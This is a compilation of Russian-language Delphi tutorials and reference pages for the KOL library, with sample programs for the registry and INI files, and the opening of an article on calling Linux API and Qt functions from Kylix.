Function RegKeyOpenRead( Key: HKey; const SubKey: String ): HKey;
RegKeyOpenWrite. Открытие ключа для записи.
Function RegKeyOpenWrite( Key: HKey; const SubKey: String ): HKey;
RegKeyClose. Закрытие ключа регистра ранее открытого с помощью RegKeyOpenRead или RegKeyOpenWrite.
Procedure RegKeyClose( Key: HKey );
RegKeyDelete. Удаление ключа регистра.
Function RegKeyDelete( Key: HKey; const SubKey: String ): Boolean;
RegKeyExists. Возвращение true, если "подключ" (SubKey) существует в данном ключе (Key).
Function RegKeyExists( Key: HKey; const SubKey: String ): Boolean;
RegKeyGetSubKeys. Возвращение в List список всех "подключей"(ниже лежащих ключей) для ключа Key.
Function RegKeyGetSubKeys( const Key: HKEY; List: PStrList ): Boolean;
Функции для работы с переменными
RegKeyDeleteValue. Удаление из ключа Key переменной с именем Value.
Function RegKeyDeleteValue( Key: HKey; const Value: String ): Boolean;
RegKeyValExists. Возвращение TRUE, если параметр ValueName существует в ключе Key.
Function RegKeyValExists( Key: HKey; const ValueName: String ): Boolean;
RegKeyValueSize. Возвращает размер переменной(ValueName). Для переменных типа строка (string) возвращаемое значение равно длине строки + 1 (нулевой символ).
Function RegKeyValueSize( Key: HKey; const ValueName: String ): Integer;
RegKeyGetValueNames. Возвращает список всех имен переменных находящихся в ключе Key.
Function RegKeyGetValueNames( const Key: HKEY; List: PStrList ): Boolean;
RegKeyGetValueTyp. Возвращает тип переменной под именем ValueName. Возвращаемое значение может быть следующие : REG_BINARY , REG_DWORD, REG_DWORD_LITTLE_ENDIAN, REG_DWORD_BIG_ENDIAN, REG_EXPAND_SZ, REG_LINK , REG_MULTI_SZ, REG_NONE, REG_RESOURCE_LIST, REG_SZ.
Function RegKeyGetValueTyp( const Key: HKEY; const ValueName: String ): DWORD;
Функции для работы с переменными DWORD
RegKeyGetDw. Чтение из ключа данных типа DWORD. Если чтение не успешно, то возвращение 0.
Function RegKeyGetDw( Key: HKey; const ValueName: String ): DWORD;
RegKeySetDw. Запись в ключ данных типа DWORD.
Function RegKeySetDw( Key: HKey; const ValueName: String; Value: DWORD ): Boolean;
Функции для работы с переменными STRING
RegKeyGetStr. Чтение из ключа данных типа String. Если чтение не успешно, то возвращение пустой строки.
Function RegKeyGetStr( Key: HKey; const ValueName: String ): String;
RegKeyGetStrEx. Чтение из ключа данных типа String. Если чтение не успешно, то возвращение пустой строки. Расширенный по саоим возможносям вариант RegKeyGetStr.
Function RegKeyGetStrEx( Key: HKey; const ValueName: String ): String;
RegKeySetStr. Запись в ключ данных типа String.
Function RegKeySetStr( Key: HKey; const ValueName: String; const Value: String ): Boolean;
Функции для работы с переменными BINARY
RegKeyGetBinary. Чтение из ключа данных типа binary. Происходит запись данных из реестра в буфер Buffer размером Count. На выходе у функции количество прочитанных байт.
Function RegKeyGetBinary( Key: HKey; const ValueName: String; var Buffer; Count: Integer ): Integer;
RegKeySetBinary. Запись в ключ данных типа Binary.
Function RegKeySetBinary( Key: HKey; const ValueName: String; const Buffer; Count: Integer ): Boolean;
Функции для работы с датой
RegKeyGetDateTime. Чтение из переменной с именем ValueName дыты. В реестре эти данные хранятся в бинарном виде.
Function RegKeyGetDateTime( Key: HKey; const ValueName: String ): TDateTime;
RegKeySetDateTime. Запись даты в реестр.
Function RegKeySetDateTime( Key: HKey; const ValueName: String; DateTime: TDateTime ): Boolean;
Для начала работы с каким-либо ключом регистра, вы должны открыть его с помощью функций RegKeyOpenRead, RegKeyOpenWrite или RegKeyOpenCreate. В первом параметре должен передаватся HKey какого нибудь ранее открытого ключа или одна из следующих констант: HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS Второй параметр:SubKey - имя ключа расположенного ниже Key.

После того как вы открыли ключ, вы можете записывать и читать данные. Ну и логическое завершение всего процесса - это команда RegKeyClose, т.е. закрытие ключа, если он вам больше не нужен.

Пример чтения и записи в реестра:
program Primer_1; 
 
uses 
  windows, 
  messages, 
  kol; 
 
{$R *.RES} 
const 
 KeyWin = 'SOFTWARE\Microsoft\Windows\CurrentVersion'; 
 
var 
 Form, 
 edOption, 
 buOption, 
 List, 
 panTop:pControl; 
 Key:HKey; 
 
/////////////////////////////////////////////////////////// 
Procedure ClickOnList( Dummy : Pointer; Sender : PControl ); 
begin 
 // чтение из реестра 
 Key := RegKeyOpenRead(HKEY_LOCAL_MACHINE,KeyWin); 
 edOption.Text := RegKeyGetStr(Key,List.Items[List.CurIndex]); 
 RegKeyClose(Key); 
end; 
/////////////////////////////////////////////////////////// 
Procedure ClickOnButton( Dummy : Pointer; Sender : PControl ); 
begin 
 // запись в реестра
 if edOption.Text='' then exit; 
 Key := RegKeyOpenWrite(HKEY_LOCAL_MACHINE,KeyWin); 
 RegKeySetStr(Key,List.Items[List.CurIndex],edOption.Text); 
 RegKeyClose(Key); 
end; 
/////////////////////////////////////////////////////////// 
 
begin 
 Form := NewForm(Applet,'Пример работы с реестром').SetSize(400,200); 
 
 // можно было обойтись и Form.CanResize := false 
 Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE; 
 
 Form.Font.FontName := 'MS Sans Serif'; 
 Form.Font.FontHeight := 8; 
 
 panTop := NewPanel(Form,esRaised).SetAlign(caTop); 
 edOption := NewEditbox(panTop,[]); 
 buOption := NewButton (panTop,'Применить').PlaceRight; 
 buOption.OnClick := TOnEvent( MakeMethod( nil, @ClickOnButton ) ); 
 
 List := NewListbox(Form,[]).SetAlign(caClient); 
 List.Add('ProductId'); 
 List.Add('ProductName'); 
 List.Add('RegisteredOrganization'); 
 List.Add('RegisteredOwner'); 
 List.Add('Version'); 
 List.Add('VersionNumber'); 
 List.OnClick := TOnEvent( MakeMethod( nil, @ClickOnList ) ); 
  
 // ----- Наводим красоту жонглируя с размерами.-------- 
 //  Можно и не вникать :) 
 edOption.Width := panTop.Width - buOption.Width-10; 
 buOption.Left := edOption.Width+ 4 ; 
 panTop.Height := edOption.Height+10; 
 //----------------------------------------------------- 
 
 Run(Form); 
end. 
Исходный текст : 1,92 Кб ; размер программы: 30Кб (без сжатия и замены System) После компиляции вы увидите примерно следующие: Статьи по Delphi (011)…

Если вы читали мои предыдущие монологи про KOL, вам должно быть в основном все понятно. Не говорил я только про свойства Font.FontName и Font.FontHeight, но тут можно вполне догадатся, что мы меняем параметры шрифта.

Урок 9 - Работа с INI файлами.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Если вы не являетесь любителем забивать свои и чужие реестры мегабайтами мусора, или просто не надеетесь на сохранность информации в нем (когда нибудь Windows наверняка умрет), то вам надо обратить свои взоры на старые добрые Ini-файлы.

В KOL работа с ini организованна с помощью объекта TIniFile. Для того чтобы открыть ini-файл (и одновременно создать TIniFile), надо воспользоваться функцией OpenIniFile. Свойство Mode отвечает за то, что вы будете делать с ini файлом : производить запись или чтение. Для записи вы должны прировнять Mode к ifmWrite, и соответственно для чтения к ifmRead. По умолчанию (при открытии) Mode = ifmRead, т.е. для чтения.

Для чтения/записи данных из ini используют 4 функции. Их описание приведено в таблице :

Функция Выполняемое действие
ValueInteger. Чтение/запись данных Value типа integer под именем Key.
Function ValueInteger( const Key: String; Value: Integer ): Integer;
ValueString. Чтение/запись данных Value типа string под именем Key.
Function ValueString( const Key: String; const Value: String ): String;
ValueBoolean. Чтение/запись данных Value типа boolean под именем Key.
Function ValueBoolean( const Key: String; Value: Boolean ): Boolean;
ValueData. Чтение/запись данных на которые указывает Value длинной Count под именем Key.
Function ValueData( const Key: String; Value: Pointer; Count: Integer ): Boolean;
Еще раз повторюсь и напомню, что чтение или запись происходит в зависимости от того чему равно свойство Mode. Как известно ini файлы построены по следующему принципу [Section1] Key1=Value Key2=Value ... [Section2] Key1=Value Key1=Value ... Section - секция (раздел) ini файла. Key - имя переменной Value - Переменная которая записывается под именем Key (Кто этого не знал, может открыть любой ini файл и убедится в этом). За то из какой секции происходит чтение (или запись) отвечает свойство Section. Для того чтобы получить список секций надо обратится к GetSectionNames. А для получения данных из секции, надо воспользоваться SectionData. И у первой и второй процедуры данные записываются в объект типа pStrList (список строк). Я про него пока ничего не рассказывал, но он мало чем отличается от от VCL аналога TStringList. Но отличия все-таки есть, и к сожалению не в пользу pStrList. У pStrList нет таких свойств как Name и Value, а они бы не помешали, так как SectionData возвращает список из переменных и их значений в том же виде, в каком они записаны в ini файле (т.е разделенные знаком равно). Ну это не такая и большая проблема :) В подтверждение этого, маленький примерчик простенького ini-редактора. Программа внешне состоит из двух списков (List1 и List2). В List1 заносятся имена секторов, а в List2 список переменных и их значения. Сверху два поля (edName и edDan), в которые заносятся имя переменной и ее значение, когда происходит двойной клик по List2. Поле edDan (в него заносятся значение) можно редактировать.
program Primer_2; 
 
uses 
  windows, 
  messages, 
  kol; 
 
var 
 Form, 
 panTop, 
 buWrite, 
 edDan,edName, 
 List1,List2 : pControl; 
 dialog : pOpenSaveDialog; 
 strList : pStrList; 
 ini : pIniFile; 
 i : integer; 
 
/////////////////////////////////////////////////////////////////////
// обработка клика по кнопке "записать "
Procedure ClickOnBuWrite( Dummy : Pointer; Sender : PControl ); 
begin 
  if edName.Text = '' then Exit; 
  ini.Mode := ifmWrite; 
  ini.ValueString(edName.Text, edDan.text); 
  ini.Mode := ifmRead; 
end; 
///////////////////////////////////////////////////////////////////// 
Procedure ClickOnList2( Dummy : Pointer; Sender : PControl ); 
var 
  s : string; 
  i : integer; 
begin 
  s := List2.Items[List2.CurIndex]; 
  i := IndexOfChar(s, '='); 
  edName.Text := Copy(s, 0, i - 1); 
  edDan.Text := CopyEnd(s, i + 1); 
end; 
///////////////////////////////////////////////////////////////////// 
Procedure ClickOnList1( Dummy : Pointer; Sender : PControl ); 
var 
  j : integer; 
begin 
  edName.Clear ; 
  edDan.Clear ; 
  j := List1.CurIndex; 
  // заносим в List2 данные, которые находятся в j-ой секции 
  strList.Clear ; 
  List2.Clear ; 
  ini.Section := List1.Items[j]; 
  ini.SectionData(strList); 
  for i := 0 to strList.Count-1 do 
    List2.Items[i]:=strList.Items[i]; 
end; 
///////////////////////////////////////////////////////////////////// 
begin 
  Applet := NewApplet('Пример #2'); 
 
  dialog := NewOpenSaveDialog('Выбор ini', '', []); 
  dialog.Filter := '*.ini|*.ini|все|*.*'; 
  dialog.OpenDialog := true; 
  if dialog.Execute then 
    ini := OpenIniFile(dialog.Filename) 
  else 
    exit; 
 
  //----------- делаем интерфейс ------------------------ 
  Form := NewForm(Applet, 'Работа с Ini файлами').setSize(400, 300); 
  Form.Font.FontName := 'MS Sans Serif'; 
  Form.Font.FontHeight := 9; 
  Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE; 
 
  panTop := NewPanel(Form, esRaised ).SetAlign(caTop) ; 
  panTop.Height := 60 ; 
  buWrite := NewButton(panTop, 'Записать'); 
  buWrite.OnClick := TOnEvent( MakeMethod( nil, @ClickOnBuWrite ) ); 
  
  edName := NewEditBox(panTop,[eoReadOnly]).PlaceDown; 
  edDan := NewEditBox(panTop, []).PlaceRight; 
  edDan.Width := Form.Width - edName.Width - 30; 
  
  strList:= NewStrList; 
 
  List1 := NewListBox(Form,[]).setAlign(caLeft); 
  List2 := NewListBox(Form,[]).setAlign(caClient); 
  //--------------------------------------------------- 
 
  // заносим в List1 список секций 
  ini.GetSectionNames(strList); 
  for i := 0 to strList.Count - 1 do 
    List1.Items[i] := strList.Items[i]; 
 
  List1.OnChange := TOnEvent( MakeMethod( nil, @ClickOnList1 ) ); 
 
  // показываем данные из 0-ой секции 
  List1.CurIndex := 0; 
  ClickOnList1(nil, nil); 
 
  List2.OnClick := TOnEvent( MakeMethod( nil, @ClickOnList2 ) ); 
  run(Applet); 
end.
Исходный текст : 2,64 Кб ; размер программы: 32,5Кб(без сжатия и замены System). А теперь таблица подытоживающая все вышесказанное, а также рассказывающая про свойства pIniFile, которые не были затронуты:
Свойство Описание
FileName Имя ini файла
Mode Отвечает в каком режиме находится Ini файл: для чтения или для записи
Section Секция из которой (или в которую) идет чтение (или запись)
GetSectionNames Читает список секций в этом ini-файле
SectionData Читает данные из текущей секции
ClearAll Удаляет все секции в ini-файле
ClearSection Удаляет текущую секцию
ClearKey Удаляет ключ (переменную)

Справочник по KOL - Вывод сообщений.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Procedure MsgOK( const S: String ); Самый простой способ для вывода сообщений пользователю. Заголовок приравнивается к Applet.Caption (или 'Error' если Applet не запущен).

Function ShowMsg( const S: String; Flags: DWORD ): DWORD; Упрощенный для использования MessageBox. Поэтому подробное описание Flags и возвращаемых значений можете посмотреть в Win32.hlp или в конце этого раздела (но без описания).

Procedure ShowMessage( const S: String ); ShowMsg с Flags равным MB_OK or MB_SETFOREGROUND.

Procedure ShowMsgModal( const S: String ); Процедура будет вам полезна, если вам надо вывести большое количество информации в модальном окне. Окно имеет фиксированную ширина 400 пикселей и текст в нем автоматически переносится на другую строку. Окно выводится посередине экрана с заголовком 'Information'.

Function SysErrorMessage( ErrorCode: Integer ): string; Создает и возвращает строку, содержащую форматированное системное сообщение об ошибке. Вы можите отобразить это сообщение на экране или записать в файл. Например, вы хотите вывести это сообщение на экран: ShowMsg( SysErrorMessage( GetLastError ) );

Список констант для API MessageBox и KOL ShowMsg
Стиль На выходе
MB_ABORTRETRYIGNORE MB_APPLMODAL MB_DEFAULT_DESKTOP_ONLY MB_DEFBUTTON1 MB_DEFBUTTON2 MB_DEFBUTTON3 MB_DEFBUTTON4 MB_HELP MB_ICONASTERISK MB_ICONERROR MB_ICONEXCLAMATION MB_ICONHAND MB_ICONINFORMATION MB_ICONQUESTION MB_ICONSTOP MB_ICONWARNING MB_OK MB_OKCANCEL MB_RETRYCANCEL MB_RIGHT MB_RTLREADING MB_SERVICE_NOTIFICATION MB_SETFOREGROUND MB_SYSTEMMODAL MB_TASKMODAL MB_YESNO MB_YESNOCANCEL IDABORT IDCANCEL IDIGNORE IDNO IDOK IDRETRY IDYES

Справочник по KOL - Системные функции.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function ExecuteWait( const AppPath, CmdLine, DfltDirectory: String; Show: DWORD; TimeOut: DWORD; ProcID: PDWORD ): Boolean; Запускает приложение и ждет его выполнения. TimeOut - сколько времени должно выполнятся приложение. Если за это время приложение не закончило свою работу, то функция возвращает true и ProcID приравнивается к nil. В случае если TimeOut = INFINITE, то время ожидания окончания работы не определено (предполагается, что когда нибудь оно и закроется). AppPath, CmdLine, DfltDirectory - имя приложения, параметры с которыми оно запускается и рабочая директория Show - это SW_SHOW, SW_HIDE или любая другая SW_XXX константа ProcID - хендл запущенного процесса.

Function GetStartDir: String; Возвращает путь до вашего приложения.

Function GetTempDir: string; Возвращает путь до временного каталога (С:\WINDOWS\TEMP).

Function GetWindowsDir: string; Возвращает директорию в которой находится Windows.

Function WinVer: TWindowsVersion; Возвращает текущую версию Windows TWindowsVersion может иметь следующие значения: wv31, wv95, wv98, wvNT, wvY2K.

Function IsWinVer( Ver: TWindowsVersions ): Boolean; Возвращает true если указанная версия Ver Windows работает на данной машине.

Справочник по KOL - Функции преобразования типов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function Int2Hex( Value: DWord; Digits: Integer ): String; Конветирует Value типа integer в строку составленную из символов цифр в шестеричном исчисление. Параметр Digits определяет минимальное количество цифр.

Function Int2Str( Value: Integer ): String; Конвертирует Value типа integer в строку.

Function Int2Ths( I: Integer ): String; Конвертирует Value типа integer в строку. Между тремя цифрами ставится символ: ',' (удобна для вывода цифр больше тысячи).

Function Int2Digs( Value, Digits: Integer ): String; Преобразование integer в string. Digits - указывает сколько минимально символов в строке. Если Digits больше количества цифр в Value то недостающие цифры заменяются нулями.

Function Num2Bytes( Value: Double ): String; Преобразование Value в строку исходя из того, что Value это количество байт. Если Value достаточно большое, число представляется в виде килобайт (с буквой K в конце), или мегабайт (M), гигабайт (G) или терабайт (T).

Function Str2Int( const Value: String ): Integer; Перевод Value типа string в integer.

Function Hex2Int( const Value: String ): Integer; Перевод шестеричного числа в integer. Value конвертируется до первого символа не входящую в шестеричные цифры.

Следующие функции аналогичны описанным выше и отличаются только переводимыми типами данных : function Str2Double( const S: String ): Double; function Double2Str( D: Double ): String; function Int64_2Str( X: Int64 ): String; function Str2Int64( const S: String ): Int64; function Int64_2Double( const X: Int64 ): Double; function Double2Int64( D: Double ): Int64;

Справочник по KOL - Работа со строками.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function AnsiEq( const S1, S2: String ): Boolean; Возвращает true, если AnsiLowerCase(S1) = AnsiLowerCase(S2) т.е сравнивает 2 строки без учета регистра. Данная функция подойдет только для русских символов. function DelimiterLast( const Str, Delimiters: String ): Integer; Функция ищет в строке Str последнее вхождение строки Delimiters и возвращает номер символа с которого он идет. Если Delimiters не найден возвращается длина Str.

Function AnsiUpperCase( const S: string ): string; Преобразует символы в строке S к верхнему регистру.

Function AnsiLowerCase( const S: string ): string; Преобразует символы в строке S к нижнему регистру.

Function AnsiCompareStr( const S1, S2: string ): Integer; Сравнивает две строки ANSI S1 и S2 без учета регистра. Возвращает значение < 0, если S1 < S2, 0, если S1 = S2, и > 0, если S1 > S2.

Function _AnsiCompareStr( S1, S2: PChar ): Integer; Аналог AnsiCompareStr только для PChar.

Function CopyEnd( const S: String; Idx: Integer ): String; Копирует строку из строки S с Idx символа до последнего.

Function CopyTail( const S: String; Len: Integer ): String; Возвращает последние Len символа из строки S. Если Len > Length( S ), возвращается вся строка S.

Procedure DeleteTail( var S: String; Len: Integer ); Удаляет последние Len символа из строки.

Function LowerCase( const S: string ): string; Преобразует символы в строке S к нижнему регистру. Только для латинских символов.

Procedure NormalizeUnixText( var S: String ); В строке S происходит замена всех символов #10 на символ #13.

Function IndexOfChar( const S: String; Chr: Char ): Integer; Возвращает положение символа Chr в строке S. Возвращаемое значение может быть то 1 до Length(S), если возвращается -1 то символ не найден.

Function IndexOfCharsMin( const S, Chars: String ): Integer; Возвращает положение ближайшего от начала(строки) символа Chr в строке S. Если возвращается -1 то символ не найден.

Function IndexOfStr( const S, Sub: String ): Integer; Возвращает положение строки Sub в строке S. Возвращаемое значение может быть то 1 до Length(S)-Length(Sub), если возвращается -1 то строка не найдена.

Function Parse( var S: String; const Separators: String ): String; Функция ищет в строке S строку Separators и возвращает все что шло до этого разделителя (т.е. до Separators). В строке S удаляется возвращаемая часть и найденный Separators. Т.е. если S= '1-2-3',а Separators= '-' то при первом вызове на выходе '1' , а S='2-3' Если в S нет Separators то возвращаемое значение рано S, а сама S становится пустой.

Function StrEq( const S1, S2: String ): Boolean; Возвращает true, если LowerCase(S1) = LowerCase(S2) т.е сравнивает 2 строки без учета регистра. Данная функция подойдет только для латинских символов.

Function StrIn( const S: String; A: array of String ): Boolean; Функция возвращает True если в одна из строк массива А равна строке S. Спавнение идет с помощью функции StrEq поэтому оно не чуствительно к регистру букв.

Function StrSatisfy( const S, Mask: String ): Boolean; Возвращает True если строка S соответствует маске Mask. Строка Mask может содержать символ '*' (любое количество любых символов) и '?' (один любой символ). Например чтобы проверить содержит ли S адрес почты надо : StrSatisfy(S,'*@*.*');

Function StrReplace( var S: String; const From, ReplTo: String ): Boolean; Производит замену в строке S первой встреченной строки From на строку ReplTo. Если замена произошла успешно возвращает True.

Function StrPCopy( Dest: PChar; const Source: string ): PChar; Копирует паскалевскую строку в строку типа PChar.

Function StrLCopy( Dest: PChar; const Source: PChar; MaxLen: Cardinal ): PChar; Копирует первые MaxLen символов из паскалевсокой строки в строку типа PChar.

Function StrComp( const Str1, Str2: PChar ): Integer; Быстрое сравнение 2-х строк. На выходе -1: Str1<Str2; 0: Str1=Str2; +1: Str1>Str2.

Function StrLComp( const Str1, Str2: PChar; MaxLen: Cardinal ): Integer; Сравнивает до MaxLen символов двух строк Str1 и Str2 с учетом регистра. Возвращает значение < 0, если Str1 < Str2, 0, если Str1 = Str2, и > 0, если Str1 > Str2.

Function StrCopy( Dest, Source: PChar ): PChar; Функция производит быстрое копирование строки Source в Dest и возвращает Dest.

Function StrLen( const Str: PChar ): Cardinal; Функция возвращает число символов в строке Str, не учитывая конечного нулевого символа.

Function StrScanLen( Str: PChar; Chr: Char; Len: Integer ): PChar; Быстрое сканирование строки Str длиной Len на нахождение в нем первого символа Chr . Если Chr не входит в Str, возвращается nil.

Function StrScan( Str: PChar; Chr: Char ): PChar; Полный аналог предыдущей функции только сканирование происходит всей строки Str до последнего символа.

Function StrRScan( const Str: PChar; Chr: Char ): PChar; Возвращает указатель на последнее вхождение символа Chr в строку Str. Если Chr не входит в Str, возвращается nil.

Function StrIsStartingFrom( Str, Pattern: PChar ): Boolean; Возвращает True если строка Str начинается со строки Pattern, то есть если Copy( Str, 1, StrLen( Pattern ) ) = Pattern.

Procedure Str2LowerCase( S: PChar ); Переводит символы в нуль-терминальной строке в верхней регистр.

Function TrimLeft( const S: string ): string; Удаляет из начала строки S пробелы и управляющие символы.

Function TrimRight( const S: string ): string; Удаляет в конца строки S пробелы и управляющие символы.

Function Trim( const S: string ): string; Удаляет в конца и в начале строки S пробелы и управляющие символы.

Function UpperCase( const S: string ): string; Преобразует символы в строке S к верхнему регистру. Только для латинских символов.

Function WStrReplace( var S: WideString; const From, ReplTo: WideString ): Boolean; Производит замену в строке S первой встреченной строки From на строку ReplTo. Если замена произошла успешно возвращает True. Анналог функции StrReplace только для WideString (поэтому в Delphi 2 не будет).

Function WStrLen( W: PWideChar ): Integer; Возвращает длину строки типа PWideChar.

Procedure WStrCopy( Dest, Src: PWideChar ); Копирует строку Dest тип PWideChar в Src.

Function WStrCmp( W1, W2: PWideChar ): Integer; Сравнивает 2-е строки тип PWideChar. На выходе тоже что и у StrComp.

Function Clipboard2Text: String; Возвращает из буфера обмена текст.

Function Text2Clipboard( const S: String ): Boolean; Помещает в буфер обмена текст.

Справочник по KOL - Работа с файлами.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function DirectoryExists( const Name: string ): Boolean; Возвращает Тгие если директория существует.

Function DirectoryEmpty( Name: string ): Boolean; Возвращает Тгие если директория не существует.

Function DirectoryHasSubdirs( const Path: string ): Boolean; Возвращает True если директория Path существует и не имеет подкаталоги.

Function CheckDirectoryContent( const Path: string; SubDirsOnly: Boolean; const Mask: string ): Boolean; Возвращает TRUE если директория Path не содержит файлов (или каталогов если вы установили SubDirsOnly = true) с определенной маской.

Function IncludeTrailingPathDelimiter( const S: string ): string; Добавляет символ '\' в конец строки если он там не присутствует.

Function ExcludeTrailingPathDelimiter( const S: string ): string; Удаляет из конца строки символ '\' если он там присутствует.

Procedure ForceDirectories( Dir: String ); Создает каталог Dir если он не существует. Если нужно то создает и подкаталоги для этого каталога.

Function CreateDir( const Dir: string ): Boolean; Создает каталог.

Function ExtractShortPathName( const Path: String ): String; Из длиного пути создает короткий путь.То есть если у вас D:\Program Files\Borland\Delphi 3 то будет D:\PROGRA~1\BORLAND\DELPHI~1.

Function ExtractFileNameWOext( const Path: String ): String; Из полного пути к файлу выделяет имя файла без расширения. То есть если у вас на входе D:\Program Files\Borland\Delphi 3\prog\api.txt на выходе : api.

Function FileFullPath( const FileName: String ): String; Из короткого пути создает длинный путь.

Function FileShortPath( const FileName: String ): String; Из длинного пути создает короткий путь.

Function FileSize( const Path: String ): Integer; Возвращает размер файла.

Function GetUniqueFilename( PathName: string ): String; Создает уникальное имя файла на основе существующего PathName. Например у вас файл aaa.txt то на выходе получится aaa1.txt , aaa2.txt ...

Function DiskFreeSpace( const Path: String ): Int64; Возвращает свободное место на диске. В Path должен находится путь до корневой директории, например : 'C:\'.

Взаимодействие с системой - Linux API и Qt Library.

Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru В процессе разработки приложений в средах Delphi и Kylix время от времени возникает необходимость в обращении непосредственно к прикладному интерфейсу системы. Это происходит по двум причинам: во-первых, несмотря на широчайший выбор компонентов, библиотека VCL/CLX не в состоянии охватить все возможности, предоставляемые операционной системой. Во-вторых, даже в том случае, когда среда разработки предоставляет готовый компонент, обладающий соответствующей функциональностью, в целях повышения быстродействия имеет смысл использовать системные функции, лежащие в основе компонента. В Delphi интерфейсы большинства системных функций определены в библиотеках времени выполнения (run-time libraries), а для упрощения реализации недостающих интерфейсов в язык Object Pascal введены элементы, облегчающие "перевод" деклараций функций и объектов с С++ на Object Pascal и взаимодействие с системными библиотеками. Фактически, можно утверждать, что интерфейс Win32 API полностью доступен в Delphi. Разработчики Kylix также постарались сделать интерфейс системы Linux максимально доступным в среде Object Pascal. Однако, при программировании в Kylix, непосредственное взаимодействие с системой осуществляется несколько сложнее, чем в Delphi и Windows. Прежде всего, следует учесть, что Linux не так "монолитна", как Windows. То, что мы дальше будем называть "интерфейсом системы" состоит из нескольких независимых друг от друга частей. В Linux графическая подсистема отделена от остальной операционной системы и в принципе эта 32-х разрядная многозадачная ОС может использоваться вообще без графического интерфейса. У такого подхода есть свои преимущества: при решении ресурсоемких задач вся мощность процессора может быть брошена на выполнение полезной работы, а не затрачиваться на перерисовку окон. Кроме того приложениям с текстовым интерфейсом присуща большая стабильность. Работа с графикой в Linux осуществляется на основе сервера XFree86. Эта графическая подсистема предоставляет в распоряжение программиста интерфейсы для выполнения базовых операций, необходимых для построения графического интерфейса пользователя и вывода графической информации. При решении большинства задач у программиста не возникает необходимости писать код, взаимодействующий непосредственно с XFree86. Дело в том, что над XFree86 существует несколько "надстроек", облегчающих работу с графикой и построение пользовательского интерфейса. Одной из таких надстроек является библиотека Qt library, на базе которой реализована графическая оболочка KDE. Qt library является также основой набора компонентов VisualCLX, - аналога VCL для Kylix. Следует отметить, что библиотека Qt реализована не только на Linux. Существуют версии Qt для Mac OS, Solaris и даже для Windows. Ожидается, что поддержка Qt будет введена в Delphi 6.0, что в свою очередь еще больше упростит перенос приложений между Kylix и Delphi. В Kylix большая часть системных функций Linux инкапсулирована в модулях System, SysUtils и т. д., а большинство возможностей Qt library реализовано в наборе компонентов VisualCLX. Кроме этого Kylix предоставляет программисту возможность непосредственной работы как с интерфейсами Linux, так и с классами библиотеки Qt. Далее мы рассмотрим эти возможности подробнее. Kylix и Linux API Импортирование функций Linux API осуществляется достаточно просто и очень похоже на импортирование функций из Windows DLL. В Linux аналогом DLL являются разделяемые библиотеки (shared object files, so files). Обычно имена файлов разделяемых библиотек включают расширение .so. Не следует путать эти файлы с файлами объектного кода. Модули времени выполнения Kylix импортируют многие функции Linux API. Например, модуль Libc импортирует функции glibc - GNU C library. Между именами функций glibc и их декларациями в Libc существует четкое соответствие, так что для изучения функций модуля Libc можно воспользоваться документацией по glibc и страницами man. Между прочим, если в окне редактора кода поместить курсор на имя glibc функции и нажать F1, будет открыто не окно справки Kylix, а соответствующая man-страница.

Рассмотрим, например, glibc функцию fork, которая создает в системе новый процесс, являющийся точной копией того процесса, из которого вызвана эта функция. В glibc данная функция определена следующим образом:

pid_t fork (void);

В модуле Libc декларация этой функции выглядит так:

function fork: __pid_t; cdecl;
Обратите внимание на указание формата вызова cdecl. Этот формат используется по умолчанию для вызова системных функций Linux, также как в Delphi для вызова функций Win32 API используется stdcall.

Вы сами можете импортировать функции из разделяемых библиотек. В следующем примере осуществляется импортирование функции vga_setmode из библиотеки VGAlib (разделяемый файл libvga.so). В заголовке библиотеки, написанной на С, эта функция объявляется как.

int vga_setmode (int mode); 

В модуле Kylix пишем:

...
interface
function SetVGAMode(Mode: Integer): Integer; cdecl;
...
implementation
function SetVGAMode; external 'libvga.so' name 'vga_setmode';
...
Интеграция кода, написанного на C/C++, и Kylix-приложений будет рассмотрена подробнее в следующих статьях. Kylix и Qt library

Библиотека Qt library является основой библиотеки VisualCLX точно также, как Windows GUI API является основой Delphi VCL. Большинство компонентов VisualCLX можно рассматривать как "Object Pascal оболочки" соответствующих объектов Qt library.

Статьи по Delphi (011)… Однако механизм взаимодействия между VisualCLX и Qt library сложнее, чем механизм взаимодействия между VCL и Windows GUI API. На рисунке справа показаны различные уровни интерфейсов между XFree86 и VisualCLX. На схеме видно, что между VisualCLX и Qt library лежит "прослойка" CLXDisplay API. Необходимость в этой "прослойке" вызвана тем, что Qt library - это не набор функций, а иерархия классов С++. В Object Pascal не существует возможности импортировать классы С++ непосредственно, и разработчикам Kylix пришлось пойти в обход этой проблемы. Идея CLXDisplay API заключается в трансляции методов классов в функции. (Говоря о классах, я буду использовать терминологию Object Pascal, а не С++). Для обращения к какому-либо методу экземпляра класса Qt library вызывается соответствующая функция, которой в качестве одного из параметров передается указатель на экземпляр класса, для которого должен быть вызван данный метод. Поясним вышесказанное на простом примере: Допустим, в библиотеке, написанной на С++, реализован класс QSomeClass. У этого класса есть конструктор, деструктор и метод Method1. Для того, чтобы сделать методы класса С++ доступными в Object Pascal, мы пишем на С++ библиотеку-оболочку для данного класса, экспортирующую функции QSomeClass_Create, QSomeClass_Destroy и QSomeClass_Method1. Теперь, для того, чтобы в программе, написанной на Object Pascal, создать экземпляр класса QSomeClass, мы вызываем функцию QSomeClass_Create, и передаем ей в качестве параметров значения, требующиеся конструктору класса. Написанная на С++ функция QSomeClass_Create создает экземпляр класса QSomeClass и 